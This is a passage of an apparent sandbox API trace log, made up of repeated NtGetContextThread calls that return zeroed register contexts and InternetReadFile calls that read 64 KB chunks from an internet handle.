[345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0234.574] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2190000, dwNumberOfBytesToRead=0x10000, lpdwNumberOfBytesRead=0x19fed4 | out: lpBuffer=0x2190000*, lpdwNumberOfBytesRead=0x19fed4*=0x10000) returned 1 [0234.584] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x2185004 | out: Context=0x2185004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0234.584] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x21a0000, dwNumberOfBytesToRead=0x10000, lpdwNumberOfBytesRead=0x19fed4 | out: lpBuffer=0x21a0000*, lpdwNumberOfBytesRead=0x19fed4*=0x10000) returned 1 [0234.593] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x2185004 | out: Context=0x2185004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0234.593] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x21b0000, dwNumberOfBytesToRead=0x10000, lpdwNumberOfBytesRead=0x19fed4 | out: lpBuffer=0x21b0000*, lpdwNumberOfBytesRead=0x19fed4*=0xcc40) returned 1 [0234.602] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x2185004 | out: Context=0x2185004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, 